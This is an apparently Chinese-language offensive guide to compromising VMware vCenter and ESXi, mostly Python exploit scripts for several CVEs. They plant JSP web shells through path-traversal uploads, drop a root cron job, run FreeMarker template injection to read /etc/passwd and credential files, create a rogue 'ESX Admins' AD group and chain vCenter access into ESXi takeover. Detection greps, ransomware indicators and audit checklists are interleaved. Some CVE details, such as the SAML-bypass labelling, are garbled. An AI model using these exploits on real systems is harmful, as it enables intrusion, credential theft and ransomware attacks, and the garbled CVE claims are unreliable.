VMware vSphere ESXi vCenter 虚拟化平台管理面打点与CVE漏洞链利用技术

nmap -sV -p 443,902,427,5989,8080,8443 <target>

curl -sk https://<target>/ | grep -i "vsphere\|vmware\|vcenter"
curl -sk https://<target>/ui/ -o /dev/null -w "%{http_code}"
curl -sk https://<target>/vsphere-client/ -o /dev/null -w "%{http_code}"

nmap -sU -p 427 <target>
nmap --script slp* -sV -p 427 <target>

import requests
import urllib3
urllib3.disable_warnings()

def fingerprint_vcenter(host):
    base = f"https://{host}"

    paths = {
        "/": "vCenter root",
        "/ui/": "vSphere Client",
        "/vsphere-client/": "Flex Client",
        "/mob/": "Managed Object Browser",
        "/ui/vcav-bootstrap": "VCHA Bootstrap",
        "/rest/vcenter/": "vCenter REST API",
        "/ui/login": "vSphere Login",
        "/appliance/health": "VCSA Health",
        "/eam/majestic-ostrich/images/ostrich.jpg": "vROps Plugin",
        "/analytics/telemetry/ph/api/telemetry": "CEIP Analytics",
    }

    print(f"[*] Fingerprinting vCenter: {host}")
    for path, desc in paths.items():
        try:
            r = requests.get(f"{base}{path}", verify=False, timeout=5, allow_redirects=False)
            marker = "✓" if r.status_code in [200, 301, 302, 403, 401] else "✗"
            print(f"  {marker} {path:<50} [{r.status_code}] {desc}")
        except Exception as e:
            print(f"  ✗ {path:<50} [ERR] {desc}")

fingerprint_vcenter("192.168.1.100")

def fingerprint_esxi(host):
    base = f"https://{host}"

    paths = {
        "/ui/": "ESXi Host Client",
        "/folder/": "Datastore Browser",
        "/sdk/": "vSphere SOAP SDK",
        "/mob/": "Managed Object Browser",
    }

    print(f"[*] Fingerprinting ESXi: {host}")
    for path, desc in paths.items():
        try:
            r = requests.get(f"{base}{path}", verify=False, timeout=5, allow_redirects=False)
            marker = "✓" if r.status_code in [200, 301, 302, 403, 401] else "✗"
            print(f"  {marker} {path:<30} [{r.status_code}] {desc}")
        except:
            print(f"  ✗ {path:<30} [ERR] {desc}")

    try:
        r = requests.get(f"{base}/ui/vcav-bootstrap/app/health", verify=False, timeout=5)
        if r.status_code == 200:
            try:
                ver = r.json()
                print(f"  [!] Version info: {ver}")
            except:
                pass
    except:
        pass

fingerprint_esxi("192.168.1.101")

import ssl
import socket

def get_vcenter_version(host, port=443):
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
            s.connect((host, port))
            cert = s.getpeercert(binary_form=False)
            if cert:
                subj = dict(x[0] for x in cert.get("subject", []))
                print(f"[*] Certificate subject: {subj}")
    except:
        pass

    paths = ["/ui/vcav-bootstrap/app/health", "/rest/appliance/system/version/build"]
    for path in paths:
        try:
            r = requests.get(f"https://{host}{path}", verify=False, timeout=5)
            if r.status_code == 200:
                print(f"[*] {path}: {r.text[:200]}")
        except:
            pass

get_vcenter_version("192.168.1.100")

import requests
import tarfile
import io
import urllib3
urllib3.disable_warnings()

def exploit_cve_2021_21972(host, port=443, cmd="id"):
    base_url = f"https://{host}:{port}"

    jsp_payload = f"""<%@ page import="java.util.*,java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("{cmd}");
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {{
    out.println(line);
}}
%>"""

    tar_buf = io.BytesIO()
    with tarfile.open(fileobj=tar_buf, mode='w:gz') as tar:
        jsp_bytes = jsp_payload.encode()
        info = tarfile.TarInfo(name="../../../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/localhost/ROOT/cmd.jsp")
        info.size = len(jsp_bytes)
        tar.addfile(info, io.BytesIO(jsp_bytes))

    tar_buf.seek(0)

    upload_url = f"{base_url}/ui/vropspluginui/rest/services/uploadova"
    files = {
        'uploadFile': ('exploit.tar.gz', tar_buf, 'application/gzip'),
    }

    print(f"[*] CVE-2021-21972 — Uploading WAR shell to {host}")
    r = requests.post(upload_url, files=files, verify=False, timeout=30)

    if r.status_code in [200, 201, 204]:
        print(f"[+] Upload successful: {r.status_code}")

        shell_url = f"{base_url}/cmd.jsp"
        print(f"[*] Executing: {cmd}")
        r2 = requests.get(shell_url, verify=False, timeout=10)
        if r2.status_code == 200:
            print(f"[+] Command output:\n{r2.text}")
        else:
            print(f"[-] Shell access failed: {r2.status_code}")
    else:
        print(f"[-] Upload failed: {r.status_code} {r.text[:200]}")

exploit_cve_2021_21972("192.168.1.100", cmd="id")

def check_cve_2021_21972(host, port=443):
    base_url = f"https://{host}:{port}"

    r = requests.get(f"{base_url}/ui/vropspluginui/rest/services/getstatus",
                     verify=False, timeout=10)
    if r.status_code == 200 and "vROpsPluginService" in r.text:
        print(f"[+] CVE-2021-21972 — vROps plugin is accessible (unauthenticated)")
        return True
    elif r.status_code == 401:
        print(f"[-] vROps plugin present but requires auth")
        return False
    else:
        print(f"[-] vROps plugin not found or not accessible")
        return False

check_cve_2021_21972("192.168.1.100")

# vCenter 日志检查
grep -r "uploadova\|vropspluginui\|majestic-ostrich" /var/log/vmware/vsphere-ui/
grep -r "\.war\|\.jsp" /var/log/vmware/vsphere-ui/

# 检查 webapps 目录下是否有异常 WAR/JSP 文件
find /usr/lib/vmware-vsphere-ui/server/work/ -name "*.jsp" -newer /etc/hostname
find /usr/lib/vmware-vsphere-ui/server/work/ -name "*.war" -mtime -7

# rhttpproxy.log 中的异常请求
grep "uploadova\|vropsplugin" /var/log/vmware/rhttpproxy/rhttpproxy.log

import requests
import json
import urllib3
urllib3.disable_warnings()

def exploit_cve_2021_22005(host, port=443, cmd="id"):
    base_url = f"https://{host}:{port}"

    jsp_payload = f"""<%@ page import="java.util.*,java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("{cmd}");
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {{
    out.println(line);
}}
%>"""

    ova_manifest = {
        "data": [
            {
                "name": "../../../../../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/localhost/ROOT/shell.jsp",
                "data": jsp_payload,
                "type": "file"
            }
        ]
    }

    upload_url = f"{base_url}/analytics/telemetry/ph/api/telemetry/ph/api/telemetry"

    print(f"[*] CVE-2021-22005 — Uploading OVA metadata to {host}")

    headers = {
        "Content-Type": "application/json",
    }

    r = requests.post(upload_url, json=ova_manifest, headers=headers,
                      verify=False, timeout=30)

    if r.status_code in [200, 201, 204]:
        print(f"[+] Upload successful: {r.status_code}")

        shell_url = f"{base_url}/shell.jsp"
        print(f"[*] Executing: {cmd}")
        r2 = requests.get(shell_url, verify=False, timeout=10)
        if r2.status_code == 200:
            print(f"[+] Command output:\n{r2.text}")
        else:
            print(f"[-] Shell access failed: {r2.status_code}")
    else:
        print(f"[-] Upload failed: {r.status_code} {r.text[:200]}")

    log_url = f"{base_url}/analytics/telemetry/ph/api/telemetry/ph/api/telemetry"
    alt_manifest = {
        "manifest": {
            "name": "../../../../../../etc/cron.d/shell",
            "data": f"* * * * * root echo '{cmd}' | bash\n"
        }
    }

    r3 = requests.post(log_url, json=alt_manifest, headers=headers,
                        verify=False, timeout=30)
    if r3.status_code in [200, 201, 204]:
        print(f"[+] Cron job planted (alternative)")

exploit_cve_2021_22005("192.168.1.100", cmd="id")

# 检查 analytics 日志
grep "telemetry\|ph/api" /var/log/vmware/analytics/analytics.log

# 检查 /etc/cron.d 异常文件
ls -la /etc/cron.d/ | grep -v "^total\|sysstat\|logrotate"
find /etc/cron.d -newer /etc/hostname -type f

# 检查 VCSA 文件系统异常文件
find /usr/lib/vmware-vsphere-ui/ -name "*.jsp" -mtime -30

# rhttpproxy 中的 analytics 请求
grep "analytics" /var/log/vmware/rhttpproxy/rhttpproxy.log | tail -50

import requests
import urllib3
urllib3.disable_warnings()

def exploit_cve_2022_22954(host, port=443, cmd="id"):
    base_url = f"https://{host}:{port}"

    freemarker_payload = (
        "${\"freemarker.template.utility.Execute\"?new()("
        f"\"{cmd}\")}"
    )

    urls = [
        f"{base_url}/catalog-portal/hub-ui/1/1/1?deviceUdid={requests.utils.quote(freemarker_payload)}",
        f"{base_url}/catalog-portal/hub-ui?deviceUdid={requests.utils.quote(freemarker_payload)}",
        f"{base_url}/catalog-portal/hub-ui/byob?deviceType={requests.utils.quote(freemarker_payload)}",
    ]

    for url in urls:
        print(f"[*] CVE-2022-22954 — Trying: {url[:80]}...")
        try:
            r = requests.get(url, verify=False, timeout=15)
            if r.status_code == 200 and len(r.text) > 0:
                print(f"[+] Response [{r.status_code}]:\n{r.text[:500]}")
                return
        except:
            pass

    print("[-] All payloads failed")

exploit_cve_2022_22954("192.168.1.100", cmd="id")

def post_exploit_ssti(host, port=443):
    base_url = f"https://{host}:{port}"

    commands = {
        "passwd": "cat /etc/passwd",
        "hostname": "hostname",
        "whoami": "whoami",
        "network": "ifconfig -a",
        "creds": "cat /usr/local/horizon/conf/flags.properties",
    }

    for name, cmd in commands.items():
        payload = f"${{'freemarker.template.utility.Execute'?new()(\"{cmd}\")}}"
        url = f"{base_url}/catalog-portal/hub-ui/1/1/1?deviceUdid={requests.utils.quote(payload)}"
        try:
            r = requests.get(url, verify=False, timeout=15)
            if r.status_code == 200:
                print(f"[*] {name}:\n{r.text[:300]}\n{'='*50}")
        except:
            pass

post_exploit_ssti("192.168.1.100")

from ldap3 import Server, Connection, ALL, SUBTREE, MODIFY_ADD
import ssl

def exploit_cve_2024_37085(dc_host, domain, admin_user, admin_password, esxi_host):
    server = Server(dc_host, port=636, use_ssl=True, get_info=ALL)
    conn = Connection(server, user=f"{admin_user}@{domain}", password=admin_password, auto_bind=True)

    ou_dn = f"CN=Users,DC={domain.replace('.', ',DC=')}"

    attrs = {
        "objectClass": ["top", "group"],
        "sAMAccountName": "ESX Admins",
        "description": "ESXi admin group",
    }

    group_dn = f"CN=ESX Admins,{ou_dn}"

    success = conn.add(group_dn, attributes=attrs)
    if success:
        print(f"[+] CVE-2024-37085 — Created 'ESX Admins' group: {group_dn}")
    else:
        print(f"[*] Group may already exist: {conn.result}")

    attacker_dn = f"CN=attacker,CN=Users,DC={domain.replace('.', ',DC=')}"
    conn.modify(group_dn, {'member': [(MODIFY_ADD, [attacker_dn])]})
    print(f"[+] Added attacker to 'ESX Admins' group")
    print(f"[+] Now login to ESXi ({esxi_host}) with attacker@{domain}")
    print(f"[+] Full admin access granted via domain group")

    conn.unbind()

exploit_cve_2024_37085("dc.lab.local", "lab.local", "Administrator", "P@ssw0rd", "192.168.1.101")

# 检查 ESXi 主机是否加入 AD
esxcli system account list

# 查看 ESXi 认证日志
cat /var/log/hostd.log | grep -i "esx admins\|active directory"

# 检查域中是否存在可疑的 "ESX Admins" 组
# Windows DC 上执行
Get-ADGroup -Filter {Name -eq "ESX Admins"} -Properties *

# 临时缓解: 从 ESXi 配置中移除对 "ESX Admins" 的信任
# 或确保该组为预定义的合法组

import socket
import struct

def build_slp_header(func_id, length, flags=0x0000, ext_offset=0, xid=0x0001, lang_len=2, lang="en"):
    header = struct.pack(">HBBH IHH",
        2, func_id, flags, length,
        0x00000000, xid, lang_len
    )
    header += lang.encode()
    return header

def exploit_cve_2021_21974(host, port=427):
    overflow_size = 0x2000

    payload = b"\x41" * overflow_size

    service_url = "service:VMwareInfrastructure://A"
    url_bytes = struct.pack(">H", len(service_url)) + service_url.encode()

    scope_list = b"default"
    scope_bytes = struct.pack(">H", len(scope_list)) + scope_list

    spi_string = b""
    spi_bytes = struct.pack(">H", len(spi_string)) + spi_string

    attr_list = payload
    attr_bytes = struct.pack(">H", len(attr_list)) + attr_list

    auth_block_count = struct.pack(">B", 0x01)
    auth_block = b"\x00\x00\x00\x00\x02" + b"\x00\x00" + b"\x42" * 20

    body = url_bytes + scope_bytes + spi_bytes + attr_bytes + auth_block_count + auth_block

    header = build_slp_header(func_id=0x02, length=24 + len(body))

    packet = header + body

    print(f"[*] CVE-2021-21974 — Sending malformed SLP packet to {host}:{port}")
    print(f"[*] Overflow size: {overflow_size} bytes")

    for attempt in range(3):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((host, port))
            sock.send(packet)
            response = sock.recv(1024)
            print(f"[*] Attempt {attempt+1}: Response {len(response)} bytes")
            sock.close()
        except socket.timeout:
            print(f"[+] Attempt {attempt+1}: Connection timed out (possible crash)")
        except ConnectionResetError:
            print(f"[+] Attempt {attempt+1}: Connection reset (possible crash)")
        except Exception as e:
            print(f"[-] Attempt {attempt+1}: {e}")

    print("[*] If service crashed, CVE-2021-21974 is likely exploitable")

exploit_cve_2021_21974("192.168.1.101")

# 检查 OpenSLP 服务状态
/etc/init.d/slpd status
ps -c | grep slpd

# ESXi 日志中检查 SLP 异常
cat /var/log/syslog.log | grep -i "slpd\|slp\|heap"

# 检查 SLP 服务是否暴露于外部
esxcli network ip connection list | grep 427

# 关闭 OpenSLP (缓解措施)
esxcli network firewall ruleset set --enabled=false --ruleset-id=SLP
/etc/init.d/slpd stop
chkconfig slpd off

import os
import base64

ESXIARGS_INDICATORS = {
    "encrypted_extensions": [".vmxf", ".vmdk", ".vmx", ".vmsd", ".vmsn"],
    "ransom_note": "README",
    "note_paths": [
        "/vmfs/volumes/*/README",
        "/tmp/README",
    ],
    "malicious_files": [
        "/tmp/encrypt",
        "/tmp/malware",
        "/bin/vmx_process_list",
        "/bin/hostd_process_list",
    ],
    "cron_indicators": [
        "/var/spool/cron/crontabs/root",
    ],
}

def detect_esxiargs_encryption(host):
    import requests
    import urllib3
    urllib3.disable_warnings()

    base_url = f"https://{host}"

    paths = ["/README", "/tmp/README", "/vmfs/volumes/datastore1/README"]
    for path in paths:
        try:
            r = requests.get(f"{base_url}{path}", verify=False, timeout=5)
            if r.status_code == 200 and ("bitcoin" in r.text.lower() or "encrypt" in r.text.lower()):
                print(f"[!] ESXiArgs ransom note found: {path}")
                print(f"    Content preview: {r.text[:200]}")
                return True
        except:
            pass

    return False

def analyze_esxiargs_behavior():
    indicators = {
        "encryption_process": [
            "python /tmp/encrypt.py",
            "/tmp/encrypt --target",
        ],
        "file_operations": [
            "openssl enc -aes-256-ctr",
            "dd if=/dev/urandom of=",
            "mv *.vmxf *.vmxf.encrypted",
        ],
        "network_communication": [
            "curl http://*.onion",
            "wget http://*/malware",
        ],
        "persistence": [
            "crontab -e",
            "/etc/rc.local.d/",
        ],
    }

    for category, iocs in indicators.items():
        print(f"\n[*] {category}:")
        for ioc in iocs:
            print(f"    - {ioc}")

    print("\n[*] ESXiArgs encryption behavior:")
    print("    1. Access ESXi via OpenSLP or SSH exploitation")
    print("    2. Stop all running VMs")
    print("    3. Encrypt VMDK flat files (first 1MB of each extent)")
    print("    4. Encrypt .vmx and .vmxf configuration files")
    print("    5. Drop README ransom note in each datastore")
    print("    6. Data exfiltration before encryption (some variants)")

analyze_esxiargs_behavior()

# ESXi 主机被加密后的应急响应
# 1. 立即隔离受感染主机
esxcli network firewall set --enabled=true
esxcli network firewall ruleset set --enabled=false --ruleset-id=all
esxcli network firewall ruleset set --enabled=true --ruleset-id=sshServer

# 2. 检查加密文件范围
find /vmfs/volumes/ -name "*.encrypted" -o -name "README" 2>/dev/null
ls -la /vmfs/volumes/datastore1/ | head -20

# 3. 检查是否存在修复工具（CISA 发布了解密脚本）
# https://github.com/CISAgov/ESXiArgs-Recover

# 4. 备份未加密的虚拟机快照
vim-cmd vmsvc/getallvms
vim-cmd vmsvc/snapshot.create <vmid> pre-recovery

# 5. 从备份恢复
# 使用 Veeam/Commvault 等备份解决方案恢复虚拟机

# 6. 检查横向移动痕迹
cat /var/log/hostd.log | grep -v "info" | tail -100
cat /var/log/shell.log
last | head -20

import requests
import tarfile
import io
import urllib3
urllib3.disable_warnings()

def chain_vcenter_to_esxi(vcenter_host, cmd="id"):
    base_url = f"https://{vcenter_host}"

    print("=" * 60)
    print("[*] 攻击链: vCenter RCE → ESXi 接管")
    print("=" * 60)

    print("\n[Phase 1] 通过 CVE-2021-21972 获取 vCenter Shell")
    try:
        r = requests.get(f"{base_url}/ui/vropspluginui/rest/services/getstatus",
                         verify=False, timeout=10)
        if r.status_code != 200:
            print("[-] vROps plugin not accessible, trying CVE-2021-22005")
            exploit_phase = "22005"
        else:
            exploit_phase = "21972"
    except:
        return

    if exploit_phase == "21972":
        tar_buf = io.BytesIO()
        with tarfile.open(fileobj=tar_buf, mode='w:gz') as tar:
            jsp = """<%@ page import="java.util.*,java.io.*,java.net.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) out.println(line);
}
%>"""
            info = tarfile.TarInfo(name="../../../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/localhost/ROOT/cmd.jsp")
            info.size = len(jsp.encode())
            tar.addfile(info, io.BytesIO(jsp.encode()))
        tar_buf.seek(0)

        r = requests.post(f"{base_url}/ui/vropspluginui/rest/services/uploadova",
                          files={'uploadFile': ('exploit.tar.gz', tar_buf, 'application/gzip')},
                          verify=False, timeout=30)
        if r.status_code in [200, 201, 204]:
            print("[+] vCenter shell deployed!")
        else:
            print("[-] Exploit failed")
            return

    print("\n[Phase 2] 从 vCenter 提取 ESXi 凭据")
    creds_cmd = "cat /etc/vmware-vpx/vcdb.properties"
    cred_url = f"{base_url}/cmd.jsp?cmd={requests.utils.quote(creds_cmd)}"
    try:
        r = requests.get(cred_url, verify=False, timeout=10)
        if r.status_code == 200:
            print(f"[+] DB credentials: {r.text[:200]}")
    except:
        pass

    dump_cmd = "/usr/lib/vmware-vmafd/bin/vecs-cli entry list --store MACHINE_SSL_CERT"
    try:
        r = requests.get(f"{base_url}/cmd.jsp?cmd={requests.utils.quote(dump_cmd)}",
                         verify=False, timeout=10)
        if r.status_code == 200:
            print(f"[+] Machine SSL cert info: {r.text[:200]}")
    except:
        pass

    print("\n[Phase 3] 通过 vSphere API 控制 ESXi 主机")
    print("[*] 使用提取的凭据通过 vSphere SOAP API 执行操作:")
    print("    1. 登录 vCenter API: POST /sdk/vimService.wsdl")
    print("    2. 枚举所有 ESXi 主机: FindAllByDnsName")
    print("    3. 在 ESXi 上启用 SSH: ReconfigureHost_Task")
    print("    4. 通过 SSH 获取 ESXi root shell")
    print("    5. 导出/加密所有虚拟机磁盘")

    print("\n[+] 攻击链完成: vCenter → DB 凭据 → ESXi 控制 → VM 数据窃取")

chain_vcenter_to_esxi("192.168.1.100")

def chain_saml_bypass(host, port=443):
    print("=" * 60)
    print("[*] 攻击链: SAML 绕过 → vCenter 管理员权限")
    print("=" * 60)

    base_url = f"https://{host}:{port}"

    print("\n[Phase 1] 检测 SAML 配置")
    try:
        r = requests.get(f"{base_url}/ui/login", verify=False, timeout=10)
        if "saml" in r.text.lower() or "SSO" in r.text:
            print("[+] SAML/SSO authentication detected")
    except:
        pass

    print("\n[Phase 2] CVE-2024-22252 ~ CVE-2024-22255 SAML 认证绕过")
    print("[*] 影响: ESXi (CVE-2024-22252), vCenter (CVE-2024-22253)")
    print("[*] 漏洞类型: 虚拟硬件 USB/XHCI 控制器中的 TOCTOU 竞争条件")
    print("[*] 需要本地认证 + 触发 VM 逃逸")

    print("\n[Phase 3] 利用 SAML 断言伪造获取管理员 Cookie")
    print("[*] 攻击步骤:")
    print("    1. 从 /sts/STSService 获取 SAML 元数据")
    print("    2. 构造恶意 SAML 断言（绕过签名验证）")
    print("    3. POST 到 /SAML2/SSO/ 登录端点")
    print("    4. 获取 session cookie (VSPHERE-UI-JSESSIONID)")
    print("    5. 使用 cookie 访问 vCenter REST API")

    saml_meta_url = f"{base_url}/sts/STSService/mex"
    try:
        r = requests.get(saml_meta_url, verify=False, timeout=10, allow_redirects=False)
        print(f"[*] STS metadata endpoint: {r.status_code}")
        if r.status_code == 200:
            print("[!] STS metadata accessible - SAML auth enabled")
    except:
        pass

    print("\n[+] SAML bypass chain complete")

chain_saml_bypass("192.168.1.100")

APT 勒索攻击典型流程 (ESXiArgs / Royal / BlackBasta):

  ┌─────────────────────────────────────────────────────┐
  │  初始访问 (Initial Access)                          │
  │  ├── CVE-2021-21972 vCenter vROps RCE              │
  │  ├── CVE-2021-22005 vCenter CEIP RCE               │
  │  ├── CVE-2021-21974 ESXi OpenSLP 堆溢出            │
  │  ├── VPN 凭据泄露 (暗网购买/钓鱼)                    │
  │  └── 供应链攻击 (SolarWinds 类型)                   │
  │                                                     │
  │  执行 (Execution)                                    │
  │  ├── 部署 WebShell (JSP/Python)                     │
  │  ├── 通过 vSphere API 创建反向 Shell VM             │
  │  └── 使用 cron 任务实现持久化                        │
  │                                                     │
  │  横向移动 (Lateral Movement)                         │
  │  ├── 从 vCenter 提取 ESXi 主机凭据                   │
  │  ├── 通过 SSO Token 移动到其他 vCenter               │
  │  ├── 利用 MOB/SDK API 控制相邻 ESXi                 │
  │  └── 从 VM 内存提取 vCenter 管理员密码               │
  │                                                     │
  │  目标达成 (Objective)                                │
  │  ├── 停止所有虚拟机 (vim-cmd vmsvc/power.off)        │
  │  ├── 加密 VMDK 虚拟磁盘文件                          │
  │  ├── 窃取敏感数据 (VM 快照/磁盘导出)                  │
  │  ├── 勒索比特币赎金                                  │
  │  └── 销毁备份和快照                                  │
  └─────────────────────────────────────────────────────┘

┌──────────────┬────────────────────┬──────────┬────────────┬───────────────────────────────────┐
│ CVE          │ 名称               │ CVSS     │ 类型       │ CISA KEV                          │
├──────────────┼────────────────────┼──────────┼────────────┼───────────────────────────────────┤
│ CVE-2020-3952│ vCenter VIM RCE    │ 10.0     │ 命令注入   │ 2020-05                           │
│ CVE-2021-21972│ vCenter vROps RCE │ 9.8      │ 文件上传   │ 2021-02                           │
│ CVE-2021-21973│ vCenter SSRF      │ 5.3      │ SSRF       │ -                                 │
│ CVE-2021-21974│ ESXi OpenSLP 堆溢出│ 8.8      │ 堆溢出     │ 2023-02 (ESXiArgs)               │
│ CVE-2021-21991│ vSphere Client SSRF│ 6.5      │ SSRF       │ -                                 │
│ CVE-2021-22005│ vCenter CEIP RCE  │ 9.8      │ 文件上传   │ 2021-09                           │
│ CVE-2022-22954│ WOA FreeMarker SSTI│ 9.8     │ SSTI       │ 2022-04                           │
│ CVE-2022-31696│ vCenter XLT 注入  │ 7.5      │ 注入       │ -                                 │
│ CVE-2022-31699│ vCenter SSRF      │ 7.5      │ SSRF       │ -                                 │
│ CVE-2023-20887│ vRNI 命令注入     │ 9.8      │ 命令注入   │ 2023-06                           │
│ CVE-2023-34048│ vCenter OOB Write │ 9.8      │ 越界写入   │ 2023-10                           │
│ CVE-2024-22252│ ESXi USB TOCTOU   │ 9.3      │ 竞争条件   │ 2024-06                           │
│ CVE-2024-37085│ ESXi AD 绕过      │ 6.8      │ 认证绕过   │ 2024-08                           │
└──────────────┴────────────────────┴──────────┴────────────┴───────────────────────────────────┘

VMware CVE 分类统计 (2020-2025):

  远程代码执行 (RCE)        ████████████████████████████  45%
  SSRF/路径穿越             ██████████████               23%
  认证绕过                   ████████                     13%
  堆溢出/内存破坏            ██████                       10%
  信息泄露                   ██████                        9%

# vCenter Server (VCSA) 日志
/var/log/vmware/vsphere-ui/vsphere_ui_virgo.log          # vSphere Client
/var/log/vmware/vpxd/vpxd.log                            # vCenter 主服务
/var/log/vmware/rhttpproxy/rhttpproxy.log                # HTTP 反向代理
/var/log/vmware/vapi/vapi.log                            # REST API
/var/log/vmware/sso/vmware-sts-idmd.log                  # SSO/STS
/var/log/vmware/analytics/analytics.log                  # CEIP analytics
/var/log/vmware/vsan-health/vsanhealth.log               # vSAN

# ESXi 主机日志
/var/log/hostd.log                                        # Host daemon
/var/log/shell.log                                        # Shell 访问
/var/log/auth.log                                         # 认证日志
/var/log/vobd.log                                         # VMkernel
/var/log/vpxa.log                                         # vCenter agent
/var/log/syslog.log                                       # 系统日志

# 检测 CVE-2021-21972 vROps 文件上传
grep -E "uploadova|vropspluginui|majestic-ostrich" /var/log/vmware/rhttpproxy/rhttpproxy.log

# 检测 CVE-2021-22005 CEIP 异常请求
grep -E "analytics.*telemetry.*ph/api" /var/log/vmware/rhttpproxy/rhttpproxy.log

# 检测 CVE-2022-22954 SSTI 攻击
grep -E "deviceUdid|deviceType|freemarker|Execute" /var/log/vmware/rhttpproxy/rhttpproxy.log

# 检测 MOB 未授权访问
grep -E "mob.*login\|managed.*object.*browser" /var/log/vmware/rhttpproxy/rhttpproxy.log

# 检测 ESXi 异常登录
grep -E "Accepted|Failed" /var/log/auth.log | tail -50

# 检测异常 SSH 连接
grep "sshd" /var/log/auth.log | grep -v "pam_unix"

# 检测虚拟机异常操作 (关机/快照/导出)
grep -E "PowerOffVM_Task\|CreateSnapshot_Task\|ExportVApp" /var/log/vpxd/vpxd.log

# 检测 SAML 认证异常
grep -E "SAML\|STS\|sso" /var/log/vmware/sso/vmware-sts-idmd.log | grep -i "error\|fail"

echo "=== VMware vSphere 应急响应清单 ==="

echo "[1] 隔离受感染主机"
# 保留 SSH 访问，阻断其他所有网络
# ESXi 防火墙
esxcli network firewall set --enabled=true
# vCenter — 通过 VCSA Shell 防火墙规则

echo "[2] 保护证据"
# 导出关键日志
tar czf /tmp/vcenter-logs-$(date +%Y%m%d).tar.gz /var/log/vmware/
# ESXi 日志
cp -r /var/log/ /tmp/esxi-logs-$(date +%Y%m%d)/

echo "[3] 检查入侵指标"
# 检查异常文件
find / -name "*.jsp" -mtime -7 2>/dev/null
find / -name "*.war" -mtime -7 2>/dev/null
find /tmp -type f -mtime -3 2>/dev/null

# 检查异常进程
ps -c | grep -v "\[" | head -30

# 检查异常 crontab
cat /var/spool/cron/crontabs/root

echo "[4] 重置凭据"
# 重置 vCenter SSO 管理员密码
# 重置 ESXi root 密码
# 轮换 vCenter → ESXi service account
# 重新生成 SAML 签名证书

echo "[5] 补丁与加固"
# 应用最新安全补丁
# 关闭不必要的服务 (OpenSLP, MOB)
# 配置网络分段隔离管理面

# 版本与补丁状态
echo "=== vCenter 审计清单 ==="

echo "[1] 版本检查"
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
cat /etc/vmware-vpx/vcdb.properties 2>/dev/null | head -5
vpxd -v 2>/dev/null

echo "[2] 端口暴露检查"
ss -tlnp | grep -E "443|902|8080|8443|5480"

echo "[3] 服务状态检查"
systemctl status vmware-vpxd
systemctl status vmware-stsd
systemctl status vmware-rhttpproxy

echo "[4] 用户与权限检查"
/usr/lib/vmware-vmafd/bin/dir-cli user list --login administrator@vsphere.local

echo "[5] SSL 证书检查"
openssl s_client -connect localhost:443 -servername vcenter < /dev/null 2>/dev/null | openssl x509 -noout -subject -dates

echo "[6] CEIP 状态检查"
# 确保 CEIP 已禁用或补丁已更新
/usr/lib/vmware-ceip/vmware-ceip --status

echo "[7] 备份状态检查"
# 确认 VCSA 备份正常
/usr/lib/vmware-vpostgres/bin/pg_dump VCDB > /dev/null 2>&1 && echo "DB OK" || echo "DB Error"

echo "=== ESXi 审计清单 ==="

echo "[1] 版本与构建号"
vmware -v
esxcli system version get

echo "[2] 服务暴露检查"
esxcli network ip connection list | grep -E "LISTEN" | sort

echo "[3] OpenSLP 状态"
esxcli network firewall ruleset list | grep -i slp
/etc/init.d/slpd status

echo "[4] SSH 与 Shell 访问"
vim-cmd hostsvc/host_summary | grep sshEnabled
esxcli system ssh server get

echo "[5] AD 集成状态"
esxcli system account list
vicfg-authconfig --server localhost --query

echo "[6] 防火墙规则"
esxcli network firewall ruleset list

echo "[7] 证书检查"
openssl s_client -connect localhost:443 < /dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -dates

echo "[8] 虚拟机快照检查"
vim-cmd vmsvc/getallvms | while read vmid rest; do
    vim-cmd vmsvc/snapshot.get $vmid 2>/dev/null
done